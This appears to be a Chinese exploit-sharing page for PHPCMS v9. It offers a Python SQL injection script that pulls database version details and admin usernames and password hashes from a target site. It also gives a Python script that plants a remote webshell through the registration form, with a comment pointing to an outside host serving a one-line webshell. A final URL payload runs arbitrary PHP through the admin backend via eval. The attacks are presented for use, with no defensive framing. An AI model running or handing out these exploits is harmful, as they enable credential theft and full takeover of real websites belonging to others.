php v9最新漏洞,phpcms漏洞

注入exp:

import requests

import sys

import urllib

url = sys.argv[1]

print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'

sqli_prefix = '%*27an*d%20'

sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'

sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '

sqli_password2 = '_admin li*mit 0,1)x))'

sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'

setp1 = url + '/index.php?m=wap&a=index&siteid=1'

cookies = {}

for c in requests.get(setp1).cookies:

if c.name[-7:] == '_siteid':

cookie_head = c.name[:6]

cookies[cookie_head+'_userid'] = c.value

cookies[c.name] = c.value

print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

table_prefix = html[html.find('_download_data')-2:html.find('_download_data')]

print '[+] Get Table Prefix : ' + table_prefix

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

GETshell exp:

# -*- coding:utf-8 -*-

'''

----------------------

Author : Akkuman

Blog : hacktech.cn

----------------------

'''

import requests

import sys

from datetime import datetime

def getTime():

year = str(datetime.now().year)

month = "%02d" % datetime.now().month

day = "%02d" % datetime.now().day

hour = datetime.now().hour

hour = hour - 12 if hour > 12 else hour

hour = "%02d" % hour

minute = "%02d" % datetime.now().minute

second = "%02d" % datetime.now().second

microsecond = "%06d" % datetime.now().microsecond

microsecond = microsecond[:3]

nowTime = year + month + day + hour + minute + second + microsecond

return int(nowTime), year + "/" + month + day + "/"

def main():

if len(sys.argv) < 2:

print("[*]Usage : Python 1.py http://xxx.com")

sys.exit()

host = sys.argv[1]

url = host + "/index.php?m=member&c=index&a=register&siteid=1"

data = {

"siteid": "1",

"modelid": "1",

"username": "dsafaffdssdudi",

"password": "123561",

"email": "dsakkfdsjdi@qq.com",

# 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0

"info[content]": "",

"dosubmit": "1",

"protocol": "",

}

try:

startTime, _ = getTime()

htmlContent = requests.post(url, data=data)

finishTime, dateUrl = getTime()

if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:

successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"

print("[*]Shell : %s" % successUrl)

else:

print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second)，or re-run the program after modifying value of username and email.\n")

successUrl = ""

for t in range(startTime, finishTime):

checkUrlHtml = requests.get(

host + "/uploadfile/" + dateUrl + str(t) + ".php")

if checkUrlHtml.status_code == 200:

successUrl = host + "/uploadfile/" + \

dateUrl + str(t) + ".php"

print("[*]Shell : %s" % successUrl)

break

if successUrl == "":

print(

"[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")

except:

print("Request Error")

if __name__ == '__main__':

main()

后台拿shell:

index.php?m=content&c=content&a=public_sub_categorys&menuid=${@eval($_POST[cmd])}&f=

PS:实测中有些站存在漏洞，但是工具检测不出，需要手工检测。